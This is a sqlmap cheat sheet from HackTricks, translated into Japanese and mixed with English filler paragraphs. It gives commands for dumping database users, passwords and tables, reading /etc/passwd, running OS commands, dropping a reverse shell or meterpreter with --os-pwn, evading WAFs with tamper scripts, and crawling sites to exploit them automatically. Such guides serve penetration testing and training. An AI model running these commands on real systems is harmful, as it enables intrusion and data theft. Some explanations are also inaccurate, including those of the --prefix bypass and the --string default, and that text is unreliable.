hacktricks/pentesting-web/sql-injection/sqlmap/README.md

41 KiB
Raw Blame History

SQLMap - チートシート

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

DragonJAR Security Conference es un evento internacional de ciberseguridadは、コロンビアのボゴタで2023年9月7日から8日まで開催される、10年以上の歴史を持つ国際的なサイバーセキュリティイベントです。このイベントは、スペイン語で最新の研究が発表される技術的な内容の高いイベントであり、世界中のハッカーや研究者を惹きつけています。 以下のリンクで今すぐ登録し、この素晴らしいカンファレンスをお見逃しなく!:

{% embed url="https://www.dragonjarcon.org/" %}

SQLmapの基本的な引数

一般的な引数

-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=http://127.0.0.1:8080
--union-char "GsFRts2" #Help sqlmap identify union SQLi techniques with a weird union char

情報の取得

内部

--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB
--privileges #Get privileges

DBデータ

The database contains sensitive information such as user credentials, personal data, and other valuable data. It is important to protect this data from unauthorized access and potential leaks. In the context of penetration testing, it is crucial to identify and exploit any vulnerabilities that may exist in the database to assess its security. SQL injection is a common technique used to exploit these vulnerabilities and gain unauthorized access to the database. By injecting malicious SQL queries, an attacker can manipulate the database and retrieve or modify its contents. SQLMap is a powerful tool that automates the process of detecting and exploiting SQL injection vulnerabilities. It can be used to perform various tasks such as fingerprinting the database, enumerating tables and columns, dumping data, and even executing arbitrary commands on the underlying operating system. This chapter will guide you through the process of using SQLMap to perform SQL injection attacks and extract valuable data from the database.

--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table  ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column

インジェクション箇所

Burp/ZAP キャプチャから

リクエストをキャプチャし、req.txt ファイルを作成します。

sqlmap -r req.txt --current-user

GETリクエストのインジェクション

In this section, we will discuss how to perform SQL injection attacks on GET requests using SQLMap. SQL injection is a common vulnerability that allows an attacker to manipulate the SQL queries executed by a web application.

このセクションでは、SQLMapを使用してGETリクエストに対してSQLインジェクション攻撃を行う方法について説明します。SQLインジェクションは、攻撃者がWebアプリケーションが実行するSQLクエリを操作することができる一般的な脆弱性です。

To perform a SQL injection attack on a GET request, we need to identify the vulnerable parameter in the URL. This parameter is typically a part of the query string and is used to pass user input to the server.

GETリクエストに対してSQLインジェクション攻撃を行うには、URL内の脆弱なパラメータを特定する必要があります。このパラメータは通常、クエリ文字列の一部であり、ユーザーの入力をサーバーに渡すために使用されます。

Once we have identified the vulnerable parameter, we can use SQLMap to automate the process of exploiting the SQL injection vulnerability. SQLMap is a powerful tool that automates the detection and exploitation of SQL injection flaws.

脆弱なパラメータを特定したら、SQLMapを使用してSQLインジェクションの脆弱性を悪用するプロセスを自動化することができます。SQLMapは、SQLインジェクションの欠陥の検出と悪用を自動化する強力なツールです。

To use SQLMap, we need to provide the URL of the vulnerable page and the name of the vulnerable parameter. SQLMap will then analyze the target and attempt to exploit the SQL injection vulnerability.

SQLMapを使用するには、脆弱なページのURLと脆弱なパラメータの名前を指定する必要があります。SQLMapは、その後、対象を分析し、SQLインジェクションの脆弱性を悪用しようとします。

Here is an example command to perform a SQL injection attack on a GET request using SQLMap:

以下は、SQLMapを使用してGETリクエストに対してSQLインジェクション攻撃を実行するための例です。

sqlmap -u "http://example.com/vulnerable.php?id=1" -p "id"

In this example, we specify the URL of the vulnerable page (http://example.com/vulnerable.php?id=1) and the name of the vulnerable parameter (id). SQLMap will then analyze the target and attempt to exploit the SQL injection vulnerability.

この例では、脆弱なページのURLhttp://example.com/vulnerable.php?id=1)と脆弱なパラメータの名前(idを指定しています。SQLMapは、その後、対象を分析し、SQLインジェクションの脆弱性を悪用しようとします。

By using SQLMap, we can automate the process of identifying and exploiting SQL injection vulnerabilities in GET requests, making it easier to test the security of web applications.

SQLMapを使用することで、GETリクエストのSQLインジェクションの脆弱性を特定し、悪用するプロセスを自動化することができます。これにより、Webアプリケーションのセキュリティをテストする作業が容易になります。

sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id

POSTリクエストのインジェクション

In this section, we will discuss how to perform SQL injection attacks on POST requests using sqlmap.

このセクションでは、sqlmapを使用してPOSTリクエストに対してSQLインジェクション攻撃を行う方法について説明します。

Step 1: Capture the POST Request

ステップ1POSTリクエストのキャプチャ

To begin, we need to capture the POST request that we want to inject. This can be done using various tools such as Burp Suite, OWASP ZAP, or even browser developer tools.

まず、インジェクションしたいPOSTリクエストをキャプチャする必要があります。これは、Burp Suite、OWASP ZAPなどのさまざまなツール、またはブラウザの開発者ツールを使用して行うことができます。

Step 2: Save the Request to a File

ステップ2リクエストをファイルに保存

Once we have captured the POST request, we need to save it to a file. This can be done by exporting the request from the capturing tool or by copying the request from the browser developer tools and saving it to a file.

POSTリクエストをキャプチャしたら、それをファイルに保存する必要があります。これは、キャプチャツールからリクエストをエクスポートするか、ブラウザの開発者ツールからリクエストをコピーしてファイルに保存することで行うことができます。

Step 3: Use sqlmap to Perform the Injection

ステップ3sqlmapを使用してインジェクションを実行

Now that we have the POST request saved to a file, we can use sqlmap to perform the injection. The command to do this is as follows:

POSTリクエストをファイルに保存したので、sqlmapを使用してインジェクションを実行することができます。そのためのコマンドは以下の通りです。

sqlmap -r <request_file> --level=<level> --risk=<risk>

Replace <request_file> with the path to the file containing the POST request. The --level and --risk options specify the level of tests to perform and the risk level of the injection, respectively.

<request_file>をPOSTリクエストを含むファイルのパスに置き換えます。--level--riskオプションは、それぞれ実行するテストのレベルとインジェクションのリスクレベルを指定します。

Step 4: Analyze the Results

ステップ4結果の分析

After running the sqlmap command, it will perform various tests to identify if the POST request is vulnerable to SQL injection. It will then provide a detailed report of its findings, including any potential vulnerabilities found.

sqlmapコマンドを実行すると、POSTリクエストがSQLインジェクションの脆弱性を持つかどうかを特定するためにさまざまなテストが実行されます。その後、潜在的な脆弱性を含む詳細なレポートが提供されます。

By following these steps, you can effectively perform SQL injection attacks on POST requests using sqlmap. Remember to always perform these attacks on systems that you have permission to test and never use these techniques for malicious purposes.

これらのステップに従うことで、sqlmapを使用してPOSTリクエストに対して効果的なSQLインジェクション攻撃を実行することができます。常にテストの許可を得たシステムでこれらの攻撃を実行し、悪意のある目的でこれらの技術を使用しないように注意してください。

sqlmap -u "http://example.com" --data "username=*&password=*"

ヘッダーとその他のHTTPメソッドにおけるインジェクション

In some cases, web applications may use headers or other HTTP methods to transmit data. These can also be vulnerable to injection attacks. SQLMap provides options to test for injections in headers and other HTTP methods.

いくつかの場合、Webアプリケーションはデータを送信するためにヘッダーやその他のHTTPメソッドを使用することがあります。これらもインジェクション攻撃の脆弱性にさらされる可能性があります。SQLMapは、ヘッダーやその他のHTTPメソッドにおけるインジェクションをテストするためのオプションを提供しています。

To test for injections in headers, you can use the --headers option followed by the headers you want to test. For example:

ヘッダーにおけるインジェクションをテストするには、--headersオプションを使用し、テストしたいヘッダーを指定します。例えば:

sqlmap -u http://example.com --headers="User-Agent: Mozilla/5.0" --headers="Referer: http://example.com"

You can also test for injections in other HTTP methods such as POST, PUT, DELETE, etc. To do this, you can use the --method option followed by the desired HTTP method. For example:

POSTPUTDELETEなど、他のHTTPメソッドにおけるインジェクションもテストすることができます。これを行うには、--methodオプションを使用し、希望するHTTPメソッドを指定します。例えば

sqlmap -u http://example.com --method=POST

By testing for injections in headers and other HTTP methods, you can identify and exploit vulnerabilities in these areas, allowing you to gain unauthorized access or perform other malicious activities.

ヘッダーやその他のHTTPメソッドにおけるインジェクションをテストすることで、これらの領域の脆弱性を特定し、不正なアクセスを行ったり、他の悪意のある活動を行ったりすることができます。

#Inside cookie
sqlmap  -u "http://example.com" --cookie "mycookies=*"

#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"

#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"

#The injection is located at the '*'

SQLインジェクションが成功した場合に文字列を示す

When SQL injection is successful, the tool will indicate it by displaying a specific string in the output. This string can be customized using the --string option followed by the desired string value. By default, the tool uses the string "sqlmap".

成功したSQLインジェクションは、ツールが出力に特定の文字列を表示することで示されます。この文字列は、--stringオプションに続けて任意の文字列値を指定することでカスタマイズできます。デフォルトでは、ツールは文字列「sqlmap」を使用します。

--string="string_showed_when_TRUE"

Eval

Sqlmapでは、各ペイロードを送信する前に、いくつかのPythonワンライナーでペイロードを処理するために-eまたは--evalを使用することができます。これにより、ペイロードを送信する前に、カスタムな方法でペイロードを簡単かつ高速に処理することができます。次の例では、flask cookie sessionは、送信する前にflaskによって既知の秘密で署名されます。

sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump

シェル

The shell command allows you to execute arbitrary commands on the target system. It is useful for gaining remote access and performing various actions on the compromised system.

To use the shell command, you need to have a successful SQL injection vulnerability and be able to execute SQL queries. Once you have identified a vulnerable parameter, you can use the --sql-shell option to launch an interactive shell.

$ sqlmap -u "http://example.com/vulnerable.php?id=1" --sql-shell

This will open a shell prompt where you can enter commands to be executed on the target system. Keep in mind that the commands will be executed with the privileges of the database user, so you may have limited access to the system.

sqlmap> shell

Once you have access to the shell, you can perform various actions such as uploading and downloading files, executing system commands, and even pivoting to other systems on the network.

It is important to note that using the shell command can be risky, as it can potentially expose your identity and activities. Therefore, it is recommended to use it cautiously and only in controlled environments.

#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami

#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell

#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn

ファイルの読み取り

このオプションを使用すると、SQLインジェクションの脆弱性を利用してデータベースからファイルを読み取ることができます。--file-readオプションを使用して、読み取りたいファイルのパスを指定します。

sqlmap -u "http://example.com/vuln.php?id=1" --file-read="/etc/passwd"

このコマンドは、指定したURLのidパラメータにSQLインジェクションの脆弱性があるかどうかを検査し、脆弱性がある場合には/etc/passwdファイルを読み取ります。

ファイルの読み取りは、データベースのバックエンドシステムにアクセスするための情報を取得するために使用されることがあります。この情報を利用すると、攻撃者はシステムに対する特権を取得したり、他の攻撃を実行したりすることができます。

ファイルの読み取りは、慎重に行う必要があります。適切な権限を持たないファイルにアクセスしようとすると、エラーが発生する可能性があります。また、不正な目的で使用することは違法ですので、法律に違反しないように注意してください。

--file-read=/etc/passwd

SQLmapを使用してウェブサイトをクロールし、自動的にエクスプロイトする

SQLmap is a powerful tool for automating the process of detecting and exploiting SQL injection vulnerabilities in web applications. In this guide, we will learn how to use SQLmap to crawl a website and automatically exploit any SQL injection vulnerabilities that are found.

SQLmapは、ウェブアプリケーションのSQLインジェクション脆弱性を検出し、エクスプロイトするプロセスを自動化する強力なツールです。このガイドでは、SQLmapを使用してウェブサイトをクロールし、見つかったSQLインジェクション脆弱性を自動的にエクスプロイトする方法を学びます。

Step 1: Crawl the website

ステップ1ウェブサイトをクロールする

The first step is to crawl the website using SQLmap. This will allow SQLmap to discover all the available pages and parameters that can be tested for SQL injection vulnerabilities.

最初のステップは、SQLmapを使用してウェブサイトをクロールすることです。これにより、SQLmapはSQLインジェクションの脆弱性をテストすることができるすべての利用可能なページとパラメータを発見することができます。

To crawl a website, use the following command:

ウェブサイトをクロールするには、次のコマンドを使用します:

sqlmap -u <target_url> --crawl=3

Replace <target_url> with the URL of the website you want to crawl. The --crawl=3 option specifies the depth of the crawl, where 3 indicates that SQLmap should follow links up to three levels deep.

<target_url>をクロールしたいウェブサイトのURLで置き換えてください。--crawl=3オプションは、クロールの深さを指定します。3は、SQLmapがリンクを3つのレベルまでたどることを示しています。

Step 2: Identify SQL injection vulnerabilities

ステップ2SQLインジェクションの脆弱性を特定する

Once the website has been crawled, SQLmap will analyze the discovered pages and parameters to identify potential SQL injection vulnerabilities. To do this, use the following command:

ウェブサイトがクロールされたら、SQLmapは発見されたページとパラメータを分析し、潜在的なSQLインジェクションの脆弱性を特定します。これを行うには、次のコマンドを使用します

sqlmap -u <target_url> --crawl=3 --batch --forms --risk=3 --level=5

Replace <target_url> with the URL of the website you want to test. The --batch option is used to automatically exploit any identified vulnerabilities without user interaction. The --forms option tells SQLmap to test form-based SQL injection vulnerabilities. The --risk=3 and --level=5 options increase the aggressiveness of the tests, increasing the chances of finding vulnerabilities.

<target_url>をテストしたいウェブサイトのURLで置き換えてください。--batchオプションは、ユーザーの干渉なしに特定された脆弱性を自動的にエクスプロイトするために使用されます。--formsオプションは、フォームベースのSQLインジェクションの脆弱性をテストするようにSQLmapに指示します。--risk=3および--level=5オプションは、テストの攻撃性を高め、脆弱性を見つける可能性を高めます。

Step 3: Exploit SQL injection vulnerabilities

ステップ3SQLインジェクションの脆弱性をエクスプロイトする

After identifying the SQL injection vulnerabilities, SQLmap can automatically exploit them to retrieve sensitive information from the database. To exploit the vulnerabilities, use the following command:

SQLインジェクションの脆弱性が特定された後、SQLmapはそれらを自動的にエクスプロイトしてデータベースから機密情報を取得することができます。脆弱性をエクスプロイトするには、次のコマンドを使用します

sqlmap -u <target_url> --crawl=3 --batch --forms --risk=3 --level=5 --dump

Replace <target_url> with the URL of the website you want to exploit. The --dump option tells SQLmap to dump the contents of the database tables once a successful SQL injection is found.

<target_url>をエクスプロイトしたいウェブサイトのURLで置き換えてください。--dumpオプションは、成功したSQLインジェクションが見つかった場合にデータベーステーブルの内容をダンプするようにSQLmapに指示します.

By following these steps, you can use SQLmap to crawl a website and automatically exploit any SQL injection vulnerabilities that are found. However, it is important to note that hacking into websites without proper authorization is illegal and unethical. Always ensure that you have the necessary permissions and legal rights before conducting any security testing or penetration testing activities.

これらの手順に従うことで、SQLmapを使用してウェブサイトをクロールし、見つかったSQLインジェクションの脆弱性を自動的にエクスプロイトすることができます。ただし、正当な権限なしにウェブサイトに侵入することは違法かつ倫理に反します。セキュリティテストやペネトレーションテストの活動を行う前に、必要な許可と法的権利を持っていることを常に確認してください。

sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms

セカンドオーダーインジェクション

Second Order Injectionセカンドオーダーインジェクションは、ウェブアプリケーションのセキュリティ上の脆弱性であり、ユーザーの入力がデータベースに保存され、後で別のクエリで使用される場合に発生します。この攻撃では、最初のクエリでの入力検証が不十分であるため、攻撃者は後続のクエリで悪意のあるコードを注入することができます。

セカンドオーダーインジェクションは、通常、データベース内のデータを操作するために使用されます。攻撃者は、データベース内のデータを改ざんしたり、機密情報を盗んだりすることができます。この攻撃は、ウェブアプリケーションがユーザーの入力を適切に検証していない場合に成功する可能性があります。

セカンドオーダーインジェクションを検出するためには、セキュリティテスターはウェブアプリケーションの入力検証とデータベースクエリの使用方法を詳細に調査する必要があります。また、セキュリティテスターは、セカンドオーダーインジェクションに対する適切な対策を提案することも重要です。

セカンドオーダーインジェクションは、ウェブアプリケーションのセキュリティを脅かす重大な脆弱性です。開発者は、入力検証とエスケープ処理を適切に実装することで、この脆弱性を防ぐことができます。

python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs

この投稿を読む、sqlmapを使用して単純なおよび複雑なセカンドオーダーインジェクションを実行する方法についての情報です。

練習用のラボ

  • THMルームでsqlmapを使用して学ぶ

{% embed url="https://tryhackme.com/room/sqlmap" %}

インジェクションのカスタマイズ

サフィックスを設定する

python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "

プレフィックス


Description

This option allows you to specify a prefix string to be placed in front of all payloads sent by sqlmap. This can be useful in scenarios where you need to bypass certain security filters or WAFs that may be configured to block specific keywords or characters commonly used in SQL injection attacks.

Usage

To specify a prefix string, use the --prefix option followed by the desired string. For example:

--prefix="SELECT * FROM users WHERE "

This will prepend the specified prefix to all payloads sent by sqlmap.

Example

Let's say you are testing a web application that filters out the keyword SELECT in user input. By using the --prefix option, you can bypass this filter and successfully perform SQL injection attacks. Here's an example command:

sqlmap -u "http://example.com/login.php?username=test" --prefix="SELECT * FROM users WHERE "

In this example, sqlmap will send payloads like SELECT * FROM users WHERE 1=1 instead of just 1=1, effectively bypassing the filter.

Note

Keep in mind that using a prefix string may not always guarantee successful bypass of security filters or WAFs. It depends on the specific configuration and logic of the target application. It is recommended to combine this option with other techniques and evasion strategies for better results.

python sqlmap.py -u "http://example.com/?id=1"  -p id --prefix="') "

ブールインジェクションの検出方法のヘルプ

Boolean injectionブールインジェクションは、SQLインジェクションの一種であり、データベースクエリの結果を真偽値trueまたはfalseで制御することができます。これにより、攻撃者はデータベースからの情報を漏洩させたり、意図しない操作を実行したりすることができます。

以下は、ブールインジェクションを検出するための手順です。

  1. ページのURLまたはフォームを特定します。
  2. ページのパラメータを特定し、インジェクションポイントを見つけます。
  3. インジェクションポイントに対してブールベースのペイロードを作成します。これには、真偽値を評価するためのSQLクエリを使用します。
  4. SQLMAPを使用して、作成したペイロードを実行します。SQLMAPは、ブールベースのインジェクションを自動的に検出し、結果を解析します。
  5. 検出されたインジェクションポイントに対して追加のテストを実行し、データベースからの情報漏洩や攻撃の可能性を評価します。

ブールインジェクションは、セキュリティ上の脆弱性として深刻な影響を与える可能性があるため、ウェブアプリケーションのセキュリティテストにおいて重要な要素です。適切な手法とツールを使用して、ブールインジェクションを検出し、修正することが重要です。

# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch

Tamper改ざん

自分自身でPythonで独自の改ざんを作成することができることを覚えておいてください。非常に簡単です。Second Order Injectionのページに改ざんの例があります。

--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
Tamper 説明
apostrophemask.py アポストロフィ文字をそのUTF-8の全角対応文字に置き換えます
apostrophenullencode.py アポストロフィ文字をその不正なダブルユニコード対応文字に置き換えます
appendnullbyte.py ペイロードの末尾にエンコードされたNULLバイト文字を追加します
base64encode.py 指定されたペイロード内のすべての文字をBase64でエンコードします
between.py 大なり演算子('>')を'NOT BETWEEN 0 AND #'に置き換えます
bluecoat.py SQLステートメントの後にあるスペース文字を有効なランダムな空白文字に置き換えます。その後、文字'='をLIKE演算子に置き換えます
chardoubleencode.py 指定されたペイロード内のすべての文字をダブルURLエンコードしますすでにエンコードされているものは処理しません
commalesslimit.py 'LIMIT M, N'のようなインスタンスを'LIMIT N OFFSET M'に置き換えます
commalessmid.py 'MID(A, B, C)'のようなインスタンスを'MID(A FROM B FOR C)'に置き換えます
concat2concatws.py 'CONCAT(A, B)'のようなインスタンスを'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'に置き換えます
charencode.py 指定されたペイロード内のすべての文字をURLエンコードしますすでにエンコードされているものは処理しません
charunicodeencode.py 指定されたペイロード内の非エンコード文字をUnicode URLエンコードしますすでにエンコードされているものは処理しません。"%u0022"
charunicodeescape.py 指定されたペイロード内の非エンコード文字をUnicode URLエンコードしますすでにエンコードされているものは処理しません。"\u0022"
equaltolike.py 全ての等号演算子('='をLIKE演算子に置き換えます
escapequotes.py クォート('と")をスラッシュでエスケープします
greatest.py 大なり演算子('>')を'GREATEST'に置き換えます
halfversionedmorekeywords.py 各キーワードの前にバージョン付きのMySQLコメントを追加します
ifnull2ifisnull.py 'IFNULL(A, B)'のようなインスタンスを'IF(ISNULL(A), B, A)'に置き換えます
modsecurityversioned.py バージョン付きのコメントでクエリ全体を囲みます
modsecurityzeroversioned.py ゼロバージョンのコメントでクエリ全体を囲みます
multiplespaces.py SQLキーワードの周りに複数のスペースを追加します
nonrecursivereplacement.py 事前定義されたSQLキーワードを置換に適した表現に置き換えます.replace("SELECT", ""))フィルター)
percentage.py 各文字の前にパーセント記号('%')を追加します
overlongutf8.py 指定されたペイロード内のすべての文字を変換します(すでにエンコードされているものは処理しません)
randomcase.py 各キーワード文字をランダムな大文字または小文字の値に置き換えます
randomcomments.py SQLキーワードにランダムなコメントを追加します
securesphere.py 特別に作成された文字列を追加します
sp_password.py ペイロードの末尾に'sp_password'を追加して、DBMSログからの自動的な曖昧化を行います
space2comment.py スペース文字(' ')をコメントで置き換えます
space2dash.py スペース文字(' ')をダッシュコメント('--')に置き換え、その後にランダムな文字列と改行('\n')を追加します
space2hash.py スペース文字(' ')をポンド文字('#')に置き換え、その後にランダムな文字列と改行('\n')を追加します
space2morehash.py スペース文字(' ')をポンド文字('#')に置き換え、その後にランダムな文字列と改行('\n')を追加します
space2mssqlblank.py スペース文字(' ')を有効な代替文字のセットからのランダムな空白文字に置き換えます
space2mssqlhash.py スペース文字(' ')をポンド文字('#')に置き換え、改行('\n')を追加します
space2mysqlblank.py スペース文字(' ')を有効な代替文字のセットからのランダムな空白文字に置き換えます
space2mysqldash.py スペース文字(' ')をダッシュコメント('--')に置き換え、改行('\n')を追加します
space2plus.py スペース文字(' ')をプラス記号('+')に置き換えます
space2randomblank.py スペース文字(' ')を有効な代替文字のセットからのランダムな空白文字に置き換えます
symboliclogical.py ANDおよびORの論理演算子をそれらのシンボルに置き換えます&&および||
unionalltounion.py UNION ALL SELECTをUNION SELECTに置き換えます
unmagicquotes.py クォート(')をマルチバイトコンボ%bf%27と一緒にジェネリックコメントで置き換えます動作させるために最後に追加
uppercase.py 各キーワード文字を大文字の値'INSERT'に置き換えます
varnish.py HTTPヘッダー'X-originating-IP'を追加します
versionedkeywords.py 関数でない各キーワードをバージョン付きのMySQLコメントで囲みます
versionedmorekeywords.py 各キーワードをバージョン付きのMySQLコメントで囲みます
xforwardedfor.py 偽のHTTPヘッダー'X-Forwarded-For'を追加します

DragonJAR Security Conference es un evento internacional de ciberseguridad con más de una década que se celebrará el 7 y 8 de septiembre de 2023 en Bogotá, Colombia. Es un evento de gran contenido técnico donde se presentan las últimas investigaciones en español que atrae a hackers e investigadores de todo el mundo.
¡Regístrate ahora en el siguiente enlace y no te pierdas esta gran conferencia!:

{% embed url="https://www.dragonjarcon.org/" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥